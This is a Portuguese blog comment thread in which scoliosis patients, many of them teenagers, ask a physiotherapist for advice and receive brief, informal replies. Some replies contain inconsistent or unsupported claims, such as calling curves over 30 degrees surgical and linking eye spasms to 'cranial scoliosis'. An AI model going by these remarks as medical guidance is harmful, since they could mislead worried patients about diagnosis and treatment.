      @Hévelin: oi hevelin, com relação as suas dúvidas, espero poder ajudar. com a sua idade e com esse grau deixar reta acho dificil, mas pode ficar equilibrada e saudável, e o mais importante sem dor. Com relação a osteopatia aleijar , nunca li nada sobre isso, o que sei são pessoas que se dizem osteopatas/quiropatas e que realizam manobras sem conhecimento algum, machuncando as pessoas, e quem fica com a fama ruim é a profissão e nao o profissional. Por isso se informe sobre o profissional antes de realizar a consulta. Abraços:D

    31. maria luisa

      muito obrigada…
      :D

    32. Beatriz

      Oi! Tenho 14 anos,e tenho escoliose de 30 graus com desvio para a direita,fiz raio x da bacia,e indicou que ainda vou crescer,(apesar de eu ter mestruado a um ano atraz?),a preocupacao dos meus pais e eu crescer e ficar muito mais torta,ja tentei pilates e RPG,nao adiantou,agora uso colete postural,que e horrivel,e humilhante.Existem outras formas de tratamento?por favor me ajudem!

    33. Beatriz

      E eu sinceramente gostaria de saber sua opniao se vale a pena,abrir mao de ser confiante,e me achar normal por dois anos,usando colete,ou e melhor eu tirar pelo menos durante a escola?

    34. Rodrigo Zabini

      @Beatriz: Oi Beatriz. espero poder ajudar voce com suas duvidas. Algumas propostas de tratamento podem ser melhoradas e talvez o rpg e o pilates que tenha feito possa ser melhorado. Voce é uma pessoa mais rigida ? mais flexivel? gosta de atividade fisica? tudo isso nos dá dicas de qual o melhor tratamento recorrer, e pode ser melhor indicado quando c faz essa avaliação. conversaram sobre isso com voce, c nao começe a pensar. o colete é indicado para casos de escoliose de aproximadamente 30 graus e deve ser seguida a recomenção do médico. agora nao é o unico tratamento. Procure sobre palmilhas posturais, osteopatia costuma ajudar, e rpg e pilates com profissionais que entendam do assunto ( geralmente os mais caros) continue confiante, pois escoliose não é nada de anormal!!! abrços

    35. Nathália Leite

      Meu nome é Nathalia..Tenho 17 anos..tenho escoliose des dos meus 14 anos..e isso ta acabando com minha vida..nao tenho mais vontade de fazer nada atividade fisica….jogar bola como eu jogava,,dança como eu dançava ballet..
      ja pensei em desistir..e achu que tive muito0o nova..acordei um dia com meu pescoço duro..sem mexer..fiquei 3 dias e depois descobri que isso foi por causa da colula..quero muitoo0 resolver isso e RPG é muito0o rui parece que nao resolve..oque eu faço?
      presciso de ajuda..:(

    36. Rodrigo Zabini

      @Nathália Leite: oi nathalie , muita calma nessa hora, tem muita coisa que voce pode fazer. RPG é uma saida se esta ruim, converse com o seu fisioterapeuta, e peça sua opnião, exponha o que voce sente e entenda que o tratamento é demorado mesmo. Procure pilates, palmilhas posturais e se tiver muita dor, osteopatia. Abraços

    37. Alana M.

      Meu nome é Alana, tenho 18 anos, vim descobrir oque era escoliose com desvio pra esquerda e muito tarde por sinal aos meus 18 anos acompanhada de cifose,o médico me disse que no meu caso só cirurgia e pra diminuir as dores apenas natação, estou com muito medo de tudo isso, pois minha família me disse que a cirurgia é arriscada demais..não sei oque faço, sinto dores no tórax,na coluna quando acordo, falta de ar..
      Oque você me indicaria pra melhorar as dores que eu tenho?

    38. Rodrigo Zabini

      @Alana M.: olá alana. Para voce ter uma noção se é cirurgico ou não o grau da escoliose tem que ser maior de 30 e nao reduzir e melhorar os sintomas sem tratamento convencional. Sempre tente o tratamento normal antes da cirurgia. Para aliviar as dores, osteopatia, palmilhas posturais, pilates, rpg, cadeias musculares, acupuntura….. várias coisas podem ser feitas, só depende de voce achar os bons profissionais. Se tentar de tudo e nao funcionar, começe a pensar na cirurgia Vá a luta e boa sorte. Abraços !!!

    39. sou o jaime tenho 19 anos tenho escoliose ainda posso colocar minha coluna no lugar

    40. Rodrigo Zabini

      @jaime: oi jaime ainda bem que voce tem pensamento positivo. Pense sempre assim que voce pode sim. Procure os melhores que eles te ajudaram
      abraços e não desista!!!!

    41. fabiano

      ola td bem?tenho uma discreta esoliose na convexividade a esuqerda e tbem uma cifose acentudada,tenho mtas dores vc acha que fazendo academia as dores melhora tenho 22 anos!!!!!!!!!!!!!!!

    42. olá meu nome é dario tenho 19anos e descobri q tenho escoliose dorsal dextroconvexa e discreto desnivelamento das cristas ilíacas o medico disse q ñ tem mais jeito qero saber se tem como tratar,qual o tratamento mais adequado e se posso melhorar a aparencia mi ajudem por favor

    43. katia cilene nunes teixeira

      eu sou katia e tenho minha coluna muito torta e sinto falta de ar e dores gostaria muito de saber de um remedio para que eu pudesse ter uma vida normal, por favor me ajude

    44. Rodrigo Zabini

      @fabiano: oi fabiano, leia o por favor leia o artigo.
      http://www.fisioterapiaesaude.com/sobre-o-blog-comentarios-e-outras-coisas/
      e procure um osteopata !!! boas festas e feliz ano novo !!!!

    45. Rodrigo Zabini

      @Dario: oi Dario, por favor leia o artigo.
      http://www.fisioterapiaesaude.com/sobre-o-blog-comentarios-e-outras-coisas/
      e procure um osteopata !!! boas festas e feliz ano novo !!!!

    46. Rodrigo Zabini

      @katia cilene nunes teixeira: oi katia, sobre remédios fisioterapeuta não pode te ajudar, procure um médico.
      Leia, por favor, o artigo
      http://www.fisioterapiaesaude.com/sobre-o-blog-comentarios-e-outras-coisas/
      Boas festas e feliz ano novo!!!

    47. Olá Rodrigo

      Gostaria de mais informações sobre o que é a escoliose juvenil e suas causas. O médico já falou em cirurgia e não posso fazer exercícios físicos.
      Estou aguardando resultados de outros exames. Mudei de plano de saúde e não cobre carência, tive que iniciar tudo do zero.
      Por isto preciso de algumas dicas para ao menos aliviar as dores que agora são na coluna inteira desde a cervical até a lombar.

    48. Morghana

      Olá, meu nome é Morghana e tenho escoliose dorsal à direita, com rotação dos corpos vertebrais e compensação levo-convexa parcial lombar. Minha fisioterapeuta me aconselhou a fazer musculação, para que fortalece minha musculatura. No entanto, não consegui me adaptar ao ritmo da academia. Gostaria de sugestões de atividades físicas alternativas que ajudassem a fortalecer a musculatura e que não seja prejudicial, que não tenha muito impacto. Meu caso é realmente grave, tenho 45 graus, e estou a beira de fazer cirurgia. Gostaria de fazer o que estiver ao meu alcance para evitar isso. Uso colete corretivo há 4 meses. Muito grata!

    49. fabiola

      tenho 32 anos e tenho escoliose em forma de s 40 graus de curvatura na dorsal do lado direito da costela,preciso saber o tratamento de melhor resultado que devo fazer pois nunca tratei este problema,mas utimamente tem me icomodado.esta curvatura tem como diminuir ou melhora esteticamentete,tenho uma boa flexibilidade.obrigado

    50. Rodrigo Zabini

      @Aline: oi aline, por favor leia o link abaixo.
      http://www.fisioterapiaesaude.com/sobre-o-blog-comentarios-e-outras-coisas/
      Estarei escrevendo sobre escoliose juvenil logo que tiver tempo. Procure um fisioterapeuta de confiança que entendenda de escoliose que ele fará um planejamento para o seu caso ( acupuntura, osteopatia e rpg ajudam) Abraços e feliz saudável ano novo !!!

    51. Rodrigo Zabini

      @Morghana: oi morghana, por favor leia o link abaixo.
      http://www.fisioterapiaesaude.com/sobre-o-blog-comentarios-e-outras-coisas/
      Procure um fisioterapeuta de confiança que entendenda de escoliose e que te oriente a fazer os exercícios corretos ( como pilates por exemplo), que ele fará um planejamento para o seu caso ( osteopatia e rpg ajudam) Abraços e feliz saudável ano novo !!!

    52. Rodrigo Zabini

      @fabiola: olá fabíola por favor leia o link abaixo.
      http://www.fisioterapiaesaude.com/sobre-o-blog-comentarios-e-outras-coisas/
      Procure um fisioterapeuta de confiança que entendenda de escoliose e que te oriente . Saiba que não existe uma unica coisa que vai te ajudar e sim várias que feitas corretamente vão trazer um melhor equilibrio ao teu corpo.( osteopatia, rpg e pilates ajudam) Abraços e feliz saudável ano novo !!!

    53. Marcela

      Olá, descobri que tinha escolise quando tinha a idade de 13 anos, busquei tratamento, usei colete por dois anos, engravidei aos 15, tive que interromper o tratamento com o colete, hoje tenho 21 e estou prestes a fazer a cirurgia(tenho mais de 50 graus). Sao no total de 4.325 pessoas aguardando a cururgia e eu sou a de numero 10, estou com muito medo. Gostaria de saber quais Sao os riscos da cirurgia? E em quanto tempo poderei voltar a ter uma vida normal?Obrigada!

    54. Rodrigo

      Olá, fui a um ortopedista hoje e o mesmo me indicou RPG. Gostaria de saber se o mesmo está correto, pois meus sintomas são: Tremores nas maõs, dores de coluna (central), dores no joelho esquerdo, dores no pescoço (lado esquerdo), dores no braço esquerdo. Quando pego algum peso, ou faço exercício fisico fico tremendo muito. O Dr. está certo na indicação do RPG? Obrigado.

    55. Rodrigo Zabini

      @Rodrigo: olá rodrigo , quanta dor hein? leia isso primeiro
      http://www.fisioterapiaesaude.com/sobre-o-blog-comentarios-e-outras-coisas/
      e se o médico indicou , por que duvidar? afinal ele é o profissional, e foi ele que avaliou, o que aconselho é procurar um rpgista que saiba te tratar da melhor maneira possivel, ok? abraços e bom trataemnto

    56. Rodrigo Zabini

      @Marcela: olá marcela, leia isso primeiro
      http://www.fisioterapiaesaude.com/sobre-o-blog-comentarios-e-outras-coisas/
      todas as suas duvidas quanta a cirurgia, não posso te ajudar, pois não realizo esse tipo de intervenção, voce deve ir ao médico e perguntar a ele
      infelizmente 50 graus é indicativo de cirurgia, e torço para que sua recuperação seja o mais rápido possível
      abraços !!

    57. eu tenho 33 anos aniha escoliose ecazo de cirurgia ela e de alto gral

    58. eu tenho 33anos eu tenho escoliose de auto gral neu calzo e cirurgia niajude obrigado

    59. Rodrigo Zabini

      @Ana Claudia: olá ana, por favor leia isso
      http://www.fisioterapiaesaude.com/sobre-o-blog-comentarios-e-outras-coisas/
      somente seu médico poderá te ajudar, pois cirurgia é somente médico que realiza. Converse com ele sobre o procedimento que ele te dará todas as informações. Abraços e boa sorte

    60. Márcia Campos

      Tenho 37 anos fui ao ortopedista pois sentia muitas dores nas costas, ele fez vários exames e descobriu um desnível de 1 cm na minha perna esquerda. Solicitou o uso de uma palmilha no sapato. Estou usando, porém sinto muitas dores no ombro direito e essa dor segue até o pescoço. Isso tem a ver com o meu problema de coluna? Agradeço.

    61. Thiago Silva

      Olá! Tenho 26 anos e sempre tive escoliose. Atualmente, as pessoas têm notado que estou torto pro lado esquerdo e como tenho facilidade de ter pneus na barriga, a gordura do lado esquerdo tá bem maior que a do direito. Talvez isso aliado a escoliose dê um efeito maior ao pneu. Estou querendo nadar e malhar. O que vc sugere? Tem cura ou posso minimizar esse desvio. Obrigado! e parabéns pelo blog.

    62. Rodrigo Zabini

      @Márcia Campos: olá marcia , por favor leia isto
      http://www.fisioterapiaesaude.com/sobre-o-blog-comentarios-e-outras-coisas/
      sobre o sei problema, o que posso sugerir é consultar um osteopata, pois ele irá tratar de sua coluna como um todo !!!
      suas dores podem ser sim de origem na coluna, com seus vários exames pode ser que tenha algo a mais !!!
      abraços e bom tratamento!!!

    63. Rodrigo Zabini

      @Thiago Silva: olá thiago, por favor leia isso
      http://www.fisioterapiaesaude.com/sobre-o-blog-comentarios-e-outras-coisas/
      voce sempre teve escoliose e somente agora as pessoas notam que está “torto”? sugiro consultar um médico para realizar exames ver o grau de sua escoliose e procure um fisioterapeuta que ofereça pilates para perder uns quilos e equilibrar a coluna.
      abraços e bom tratamento!

    64. oseias carvalho

      boa noite dr. rodrigo, meu exame mostrou escoliose sinistro convexa 9 graus,angulo de ferguson 32, lordose lombar L1-L5=52,cifose toraxica d5-d12=40, elevação da crista iliaca direita cerca de 0,2 cm,corpos vertebrais mantidos.Escanografia dos menbros inferiores,resultado membro inferior direito 0.7mm menor.sinto dores na coluna lombar, me atrapalha dirigir etc.meu medico falou que se eu usar a palmilha de compensação minhas dores vão acabar, pois a escoliose se originou da perna curta, mandei fazer,será que isso é motivo de tantas dores..tenho 34 anos.

    65. Oi,tenho 14 anos e tenho escoliose acentuada de 45 graus,tem cura??
      Tenho que fazer cirurgia,ou o colete resolve??

      Preciso muito de ajuda,se poder….
      Desde ja agradeço.

    66. michele

      Boa noite Dr.Rodrigo,tenho 32anos e sofro de mais com dores no corpo todo
      principalmente muita dor nas pernas sinto muita fraquesa … e tenho muita dor nos ombros e cabeça.os medicos dizem q tenho escoliose lombar e cervical tambem tenho bico de papagaio nacoluna ja faz +ou-uns
      8anos q venho sofrendo com essas dores terriveis trabalho de balconista a loja e grande e tem escadas,por favor sera q essas dores sao normais,e meu trabalho
      prejudica mais a coluna???
      desde ja muito obrigada.

    67. Rodrigo Zabini

      @oseias carvalho: oi oseias. antes de continuar por favor leia isso.
      http://www.fisioterapiaesaude.com/sobre-o-blog-comentarios-e-outras-coisas/
      realmente muito detalhado todos esses exames, o médico fez essa avaliação e se o diagnóstico dele foi esse, voce deve prosseguir, caso nao dê resultado , volte nele e converse sobre outras possibilidade de tratamento ( osteopatia , pilates rpg, acupuntura etc…)
      abraços e bom tratamento !!

    68. Rodrigo Zabini

      @Joana: ou joana , por favor leia isso
      http://www.fisioterapiaesaude.com/sobre-o-blog-comentarios-e-outras-coisas/
      normalmente escoliose acima de 30 graus já é caso de cirurgia, converse com seu médico e peça uma proposta de tratamento.
      E tente de tudo para alcançar a cura… ( rpg, pilates, osteopatia, palmilhas etc…)
      abraços e bom tratamento !!

    69. Rodrigo Zabini

      @michele: oi michele, por favor leia isso
      http://www.fisioterapiaesaude.com/sobre-o-blog-comentarios-e-outras-coisas/
      quanta dor, não é normal ter tudo isso nessa idade ( escoliose + bico de papagaio )
      procure um osteopata ou médico para realizar exames e propor um tratamento. Procure também melhorar sua ergonomia ( postura ) no trabalho.
      Abraços e bom tratamento!!

    70. Rosa Maria

      Tenho problema escoliótico deste os 10 anos de idade. Usei aparelho apenas 1 ano. Pois detestava… E hoje tenho aquela enorme dor.

    71. Olá Rodrigo
      Obrigado por sempre ajudar a esclarecer algumas dúvidas.
      Recentemente tenho tido espasmos nos cílios (meu olho não pára de tremer) já faz aproximadamente 2 semanas sem parar.
      Li uma reportagem que algumas doenças musculares causam este tipo de espasmos. Esta informação é relevante, posso estar sentindo devido a minha escoliose que me causa dores horríveis nos braços e pernas aponto de ficarem inchados?
      Obrigada

    72. Rodrigo Zabini

      @Rosa Maria: oi rosa, obrigado por participar. escoliose se trata cedo mesmo, quando antes melhor, espero que sirva de exemplo para quem está vendo esse comentário. Abraços!!!

    73. Rodrigo Zabini

      @Aline: oi aline, obrigado por participar. as dores nos braços e nas pernas podem ter uma relação mais direta com a escoliose, dependendo do grau dela.
      já os teus olhos podem ser consequencia de outra coisa, mas existe em osteopatia a escoliose craniana, que pode dar vários sintomas. procure um osteopata de confiança e ele te dirá o melhor a fazer. abraços

    74. cristiane lopes

      Oló Rodrigo boa noite!
      descobri hoje que minha filha de 12 anos tem escoliose, eu ñ tinha percebido como a costa dela é torta, descobri depois de um raio x que fiz devido uma gripe muito forte que ela teve com suspeita de pneumunia, bom o que eu gostaria de saber é qual o método mais eficaz para tratamento e se ha possibilidade de ela parar de andar por esse problema.
      espero ansiosa sua resposta. Obrigada!

    75. Bruno Costa

      Olá, possuo 22 anos, e por volta dos meus 18 ao iniciar academia percebi que ao exercitar meus ombros o trapézio do lado esquerdo é superior ao direito, e recentemente voltei as atividades na academia e comentei isso a um instrutor, ele me disse que era uma possível escoliose, pois não é somente meu trapézio que é mais alto e sim meu ombro, e após um dia de treino ao chegar em casa tirei fotos de minhas costas e fotos de frente e vi que realmente tenho uma deformidade notável, ainda não fui a um médico ortopédico, gostaria de saber o que você me recomenda, pois fico com receio de ficar musculoso, porem com o corpo assimétrico. O que você me recomenda?!

    76. Renata

      Boa Noite..
      Queria uma informação.Tenho 18 anos e tenho escoliose (muito grande) mas só da para perceber quando tiro a blusa ou quando falo a alguém, o meu problema os médicos disseram que só si trata com cirurgia , como já me falarão que está cirurgia é perigosa tenho receio de faze-la.Gostaria de saber se não fazendo a cirurgia com o tempo pode fica pior ??! Obrigada..

    77. Rodrigo Zabini

      @cristiane lopes: oi cristiane , obrigado por participar. com relacção a suas dúvidas precisa ver qual o grau de escoliose que ela tem
      pois c for maior de 30 é aconselhavel usar colete. procure um fisioterapeuta que trate de escoliose, como alguem que tenha a especialização em rpg. pilates tb é aconselhavel. abraços!!!

    78. Rodrigo Zabini

      @Bruno Costa: oi bruno , obrigado por participar, com relação a sua dúvida, o que recomendo é verificar o grau de escoliose e procurar uma terapia que te de um melhor equilibrio, como por exemplo o rpg e o pilates. converse com seu instrutor para a realização dos exercícios de maneira correta. abraços!!!

    79. Rodrigo Zabini

      @Renata: oi renata. obrigado por participar. Com relação a sua informação, a minha opniao é que sim , com muito tempo ( quando voce ficar velhinha ) por piorar. Abraços !!!!!

    80. Cyllene Chaves

      Oiii,estou muito triste,por causa que eu sou torta,eu tinha 36 grau na coluna aii eu fiz RPG 6 meses,ai melhoreii so 2% mais pra mim isso ja foi uma grande alegria,as vezes tenho vontade de morre tenho vergonha de mim,pq naum posso iir a praia de biquini pq sou torta,tenho vergonha de ter uma namorado pq sou torta tenho vergonha de tudo,minha vida so é tristezaa,eu gostaria de sabeer se fazeer caminhada e academia e rpg vai me ajudaar ainda mais diminuii os graus da coluna torta pois tenho 18 anos tenho um ombro mais alto que outro .. um grande beeijo ..;D

    81. elaine

      Ola!!
      tenho escoliose e minha perna direita tem 1,5 a menos que a esquerda, o ortopedista receitou uma palmilha de comoemsação, gostaria de saber se minha perna tem alguma chance de crescer e ficar igual a outra em tamanho tenho 18 anos.

    82. Alany Thaisa

      Olá,tenho 17 anos e desde os 10 descobri que tenho escoliose,passei a praticar Ballet,porém sentia dor na minha coluna praticamente todo dia.No final do ano passado descobri que o que tenho é escoliose congênita,2 vértebras minhas são mal formadas,o médico disse que eu posso viver normalmente e que pode piorar se eu crescer.Mas não me falou de nada que eu não possa fazer.Porém eu gostaria de saber se te algo que eu não posso fazer,para que a minha coluna não doa nem se desenvolva mais.Por ex:abdominal(meu professor disse que não posso fazer),’cambrê'(passo de ballet)…Posso ou não?Por que?
      Obrigada pela atenção,fik com Deus!

    83. Rodrigo Zabini

      @Cyllene Chaves: oi cyllene , obrigado por participar. com relação a sua dúvida, acredito que tudo que voce fizer para melhorar vai te ajudar.
      procure sempre os melhores profissionais para te orientar. abraços e vá a luta !!!!

    84. Rodrigo Zabini

      @elaine: oi elaine, obrigado por participar. com relação a sua questão é preciso fazer um exame de rx e ver se a epífise de crescimento ainda está aberta. assim dá para ter uma idéia se cresce ou não. consulte seu médico. abraços

    85. Rodrigo Zabini

      @Alany Thaisa: olá alany, obrigado por participar. com relação as suas questões fica complicado responder , pois precisa de uma avaliação mais formal ( qual vertebra é mal formada , qtos graus de escoliose , que tipo de mal formação é ) para poder responder. o que aconselho é procurar novamente o médico/fisioterapeuta para tirar suas dúvidas. o que vale como regra é – não faça nada que desencadeie dor – se o passo de ballet doi – não faça ! abraços e boa dança !!

    86. Rodrigo Almeida

      Olá Dr.! Tenho 29 anos, Olha sinto muitas dores na coluna lombar, essa dor se estende para as pernas também, fiz uma raio-x da coluna lombar, o resultado foi o seguinte: Desmineralização óssea difusa, Osteo-esclerose das articulações sacro-ilíacas, Escoliose sinistro convexa com ângulo de cobb de 12°graus, Espina bifida em SI, gostaria de que o senhor me falasse sobre esse resultado se tem alguma coisa de errado e o que devo fazer, pois agora me lembro que alguns amigos de trabalho tiram sarro de mim por andar meio torto para o lado direito. Abraços e até mais!!!!

    87. Rodrigo Zabini

      @Rodrigo Almeida: olá rodrigo, obrigado por participar. Com relação a suas queixas o que devo dizer que a sua sintomatologia associado a esses achados radiográficos devem fazer parte de seu plano de tratamento, pois tudo isso está inter-relacionado. É necessario realizar uma inspeção fisica para ver onde está o problema e realizar um trabalho de recondicionamento para as suas costas. Procure um fisioterapeuta de confiança e converse com ele para te ajudar. Abraços

    88. Camila

      Tenho 30 anos e descobri minha escoliose aos 12 anos. Usei colete ortopédico durante 15 meses, afim de “controlar” a curvatura da coluna. Tive recomendação cirúrgica mas optei por não fazer, já que as técnicas empregadas eram outras. Enquanto fui adolescente não tive dores, tinha uma vida normal, praticava esportes, corria, pulava. Depois, já adulta, comecei a ter algumas dores musculares na parte alta do desvio. Atualmente, não pratico nenhuma atividade física, estou acima do peso e as dores ficaram bem mais intensas, principalmente quando preciso ficar algum tempo em pé parada. Acredito que dá para conviver com este problema, desde que sejam adotadas algumas medidas, fazer alguma atividade física, manter o peso e controlar o estresse. O fato de ter as costas tortas não me aborrece tanto, já me acostumei. Vou a praia normalmente e não sinto vergonha disto. O que realmente incomoda são as dores, que me deixam bem baixo-astral, sobretudo no inverno.
      Quis dar meu depoimento pois vejo que é um problema que assusta as pessoas. Eu mesma já tive muito medo da tal cirurgia, e na ocasião não fiz por pura covardia. Hoje em dia eu faria, pq sei que terei mais qualidade de vida, e até onde sei as técnicas cirúgicas estão super seguras, não fica engessado 9 meses e tb não fica paraplégico. A recuperação é mais rápida do que eu pensava.

      É isso gente. Cuca fresca e vamo que vamo.

    89. Rodrigo Zabini

      @Camila: oi camila , muito importante sua declarção
      obrigado por participar e continue assim
      abraços!!!

    90. Júnior

      Descobri que tenho escoliose em 2008,tinha 16 anos,fui no médico e descobri que tenho por volta de 45°,meu medo é que aumente,quase todos os médicos dizem que talvez seja necessário cirurgia,queria evitar ao máximo mas há algum tempo venho sentindo dores e está me incomodando muito,mas morro de medo da cirurgia porque tem riscos. O que você me recomenda? Esportes ou algum tratamento alternativo ajudam? Me fale sobre os riscos da cirurgia.

    91. Rodrigo Zabini

      @Júnior: oi junior. com relação a escoliose, como já disse em comentário anteriores, faça de tudo o que voce puder fazer: rpg, pilates, ostepatia, palmilhas posturais, yoga etc…. mas procure um profissional fisioterapeuta que trabalhe com isso. Com relação a cirurgia os riscos mais comuns são:
      – a cirurgia nao dar certo, voce continuar sentindo dor
      – tempo prolongado de reabilitação ( para escoliose vai ser a vida toda )
      – limitação de alguns movimentos
      – infecção hospitalar
      entre outras, converse com seu médico de confiança para mais detalhes sobre a cirurgia
      abrçso e va´ a luta !!

    92. Wellingtom

      Bom dia : D
      Eu tenho escoliose desde a infância, agora com 18 anos me incomoda muito as dores nas costas.Como já mencionado completei 18 anos e preciso me alistar no serviço militar,isso dificultaria meu caso devido a series de exercicios feito lá. Agredeço desde já ……
      O medico poderia me dar um atestado;;;…

    93. oi bom dia , faço fisioterapia e estou no 8 periodo , no meu estagio da neuro pediatrica estou com um paciente , com 2 anos com escoliose congenita , vcme recomendaria qual tratamento pra ser pessoinha fofa , que não tem como não se apaixonar , ele estava andando pegou um susto e parou de andar agora vai ser um desafio , fazer-lo andar pois o medo esta muito alem , me ajude por favor

    94. elisa macedo

      minha filha tem 7 anos e descobrimos a seis meses que ela tem uma má formação congenita na coluna, uma hemivertebra, a escoliose foi diagnosticada em 30 graus e eu tenho reparado que ela esta puxando um pouco a perna, como eu posso dar um bom tratamento para ela e como se dá este tratamento?

    95. Rodrigo Zabini

      @Erica: oi erica, obrigado por participar. Não entendi direito sua dúvida, mas o melhor que tem a fazer é encarar esse desafio, pois a vida de fisioterapeuta é um desafio toda hora. Converse com sua professora e depois me diga como resolveu essa situação
      Abraços!!

    96. Rodrigo Zabini

      @elisa macedo: oi pai, obrigado por participar. Por apresentar um problema congênito , fica mais dificil ter um tratamento que possa ser duradouro. Procure uma equipe multi disciplinar , com médico, fisioterapeuta, nutricionista e psicólogo, para dar todo o suporte que ela precisa ,pois o tratamento dela vai ser para a vida inteira, e voce esta no momento certo ( 7 anos ) para começar
      abraços e vá a luta !!

    97. everton

      Boa noite
      muito bom !!!!!

    98. everton

      Boa noite
      atimo:)!!!!!

    99. Bom dia : D
      Eu tenho escoliose desde a infância, agora com 18 anos me incomoda muito as dores nas costas.Como já mencionado completei 18 anos e preciso me alistar no serviço militar,isso dificultaria meu caso devido a series de exercicios feito lá. Agredeço desde já ……
      O medico poderia me dar um atestado;;;…

    100. fabricia

      ola Rodrigo!! Em 2010 descobri q tenho alguns osteofitose , artrose e uma protusão na cervical, porem sinto dores ha muitos anos, hoje eu faço tratamento com RPG, natação e pilates, vc acha q meu quadro pode piorar mesmo com esses cuidados q adquiri???

    101. Lohana

      Olá, tenho 15 anos fui ao médico hoje, pois sinto fortes dores na coluna e na costela, dai ele me examinou e acredita que seja escoliose, mais aindaestá uma coisa mínima ao olhar “por alto”. Mas ele me indicou natação e pilates. Mudei radicalmente de postura hoje, e estou sentindo fortes dores por estar na postura . Será que devo permanacer assim ou devo mudar pouco a pouco até me acostumar novamente? e se eu melhorar minha postura será que isso irá melhorar minha escoliose? o tratamento é fisioterapia? e será que devo parar de fazer educação física no colégio e carregar anto peso (livros escolares). Aguardo respostas !

    102. simario

      Boa tarde Dr.minha filha tem 10 anos,estar com escoliose de grau 30. Segundo o médico é de causa idiopática, ela pode andar de bicicleta, nadar, fazer caminhada, pular, etc? Só o uso do colete pode melhorar, existe algum exercício.

    103. Rodrigo Zabini

      @everton: que bom que gostou volte sempre !!!

    104. Rodrigo Zabini

      @Wellingtom:
      oi wellingtom, obrigado por participar. Poderia sim , quem sabe ele te avalie e atesta a seu favor, abraços !!!!

    105. Rodrigo Zabini

      @fabricia: oi fabricia, obrigado por participar. Nao acredito que voce possa piora, mas natação nao é o melhor a fazer para problemas cervicais, converse com seu fisioterapeuta de confianca para um tratamento mais efetivo !!! abraços e capriche!

    106. Rodrigo Zabini

      @Lohana: oi lohana, obrigado por participar. voce deve ter certeza se é escoliose, para poder tratar com certeza o problema e para melhorar a postura deve conversar com o seu fisioterapeuta de confiança para ele te orientar sobre as mudancas posturais que deve realizar, os exercicios que deve fazer, para que nao sofra com dores. caso elas persistam , procure um osteopata abraços

    107. Rodrigo Zabini

      @simario: oi simario, obrigado por participar. a causa idiopática é a mais comum das escolioses.Somente com a angulção é dificil orientar algo. procure um fisioterapeuta para ter orientar com relação as tuas dúvidas e já começar um tratamento , pois só o uso do colete é insuficiente.
      abraços e vá a luta!!!

    108. CHIARA

      Eu sofro 24 h com dores na coluna devido a escoliose, já fiz fisioterapia mas não resolveu.
      Gostaria de saber se eu posso ter alguns probremas mais graves devido a isso?
      E tem alguns outros sintomas relacionados a essa doença?

    109. cleber santos

      tambem sinto dores nas costa durante o dia todo. Já fiz diversos exames e foi constatado escoliose dorsal e hipercifose, já fiz vários exercicios de fisioterapia mas só sinto alívio da dor no momento em que estou me alongando depois quando fico de pé começa a doer novamente, por favor vcs nao sabem o que posso fazer?

    110. Rodrigo Zabini

      @CHIARA: oi chiara obrigado por participar. a sua escoliose pode evoluir dependendo da sua idade e do grau que ela se encontra e voce pode ter alguns problemas mais graves quando ficar mais velhina, por isso cuide já.existem outros sintomas, mas é melhor nao saber e procurar se tratar abraços

    111. Rodrigo Zabini

      @cleber santos: oi cleber santos , obrigado por participar. Fica a sugestão de procurar um osteopata.
      http://www.fisioterapiaesaude.com/como-encontrar-um-osteopata/
      fica o link para consulta
      abraços e vá a luta!

    112. jacy santana

      Fiz um cirugia esse ano em janeirae outra em março,pois a primeira fiou em enchado,quando fui ao médico ,ele olhava e dissia que era normal,só que comecei senti dor de cabeca,vônito,desmaio,ai tive que volta pra o hospial ai tive que faz segunda,médico era urgente que eu teria que mi interna na quela sexta ou sabado ele fez a cirugia na segunda, há terceira vez teria botar uma sonda ou faz cirugia de novo,eu estav meio com meu 3 cirugia enemos de 3três mes,botei a sonda ainda estou andando para ele,graça a Deus ele esta midando todo apoio.

    113. Rodrigo Zabini

      @jacy santana: oi jacy, obrigado pela participação e muita força para voce melhorar! abraços!!!

    114. taynara

      sofro muito dor por causa da escoliose e so tenho 11anos

    115. taynara

      fisso fisioterapia e estou com muita dor e estou com 10gral

    116. fisso fisioterapia e estou com muita dor e estou com 10grals voçe pode me dar uma ajuda

    117. Rodrigo Zabini

      @taynara: oi taynara, obrigado por participar !!! e para poder te ajudar o melhor é voce consultar com um
      osteopata ! leve todos os exames para ele te tratar !!! abracos

    118. Tenho escoliose,minha coluna parece um ”s”,e todas as vezes que vou ao médico ele fala pra mim que não tem cura.Como faço e qual médico que devo procurar pra tratar dessa coisa?.O meu lado direito é bem mais alto que o esquerdo.

    119. Rodrigo Zabini

      @aline: oi aline, obrigado por participar. procure um fisioterapeuta que ele te ajudará !
      abraços

    120. Filipa

      Olá sou a Filipa e tenho 18 anos desde há dois anos que sofro de dores horríveis nas costas e não sei o que fazer. Inicialmente pensava que era por ter dado uma queda, mas passado o tempo as dores não passavam. Recorri ao hospital, mas não me fizeram nada! Tinha “caroços inchados” no ombro e no omoplata direito desde então que as dores nesses locais no pescoço e na parte inferior do lado direito que também tenho muitas dores! Isto desde há dois anos não sei o que fazer… Fui a uma clínica particular e o médico disse-me que eu tinha uma rotação na coluna e uma escoliose dorsal inferior.. mas eu não percebi bem o que era informei-me e agora sei.. mas não tem cura, aparente, e cada vez as dores são mais.. isto impede-me de levar a minha vida normalmente não consigo fazer a vida como queria, sinto-me limitada, será que existe algo para minimizar esta situação?? já vi que massagens, natação e outras coisas fazem bem, mas não tenho dinheiro para isso… Aguardo resposta! Obrigado

    121. Boa noite! Tenho Escoliose desde os meus 17 anos, aliás quando descobri. Na época os médicos disseram não ter cura, e que só iria doer enquanto eu estivesse crescendo. Pois bem, hoje tenho 31anos, graças a Deus não dói, mas o desconforto que sinto quando sento em cadeiras que não possuem encosto para as costas macio é muito grande aí fico com as costas doendo por algumas horas. Quando fico muito tempo em pé também sinto esse desconforto. Agora o lado psicológico, não vou a praia, piscinas, cachoeiras, por achar que todos estão me olhando quando tiro a camisa e estão reparando minhas costas toda torta. Será que ainda há solução pra minha situação. Faço qualquer coisa pra me curar, se de tudo não conseguir fisicamente por causa da idade, pelo menos psicológicamente. Aguardo retorno. Abraços.

    122. Rodrigo Zabini

      @Filipa: oi filipa, obrigado pelo comentário, muito interessante seu caso, e que bom que já conhece parte do seu tratamento
      guarde um dinheiro e consulte um fisioterapeuta para começar seu tratamento
      abraços

    123. Rodrigo Zabini

      @Celso: oi celso, obrigado por participar. para que um tratamento seja feito é necessário consultar um fisioterapeuta.
      Ele te avaliará e te mostrará um planejamento para o seu caso. Procure alguem de sua confiança e começe o mais rápido possível, e um psicólogo tambem!!!
      abraços

    124. LUIZA FORTES

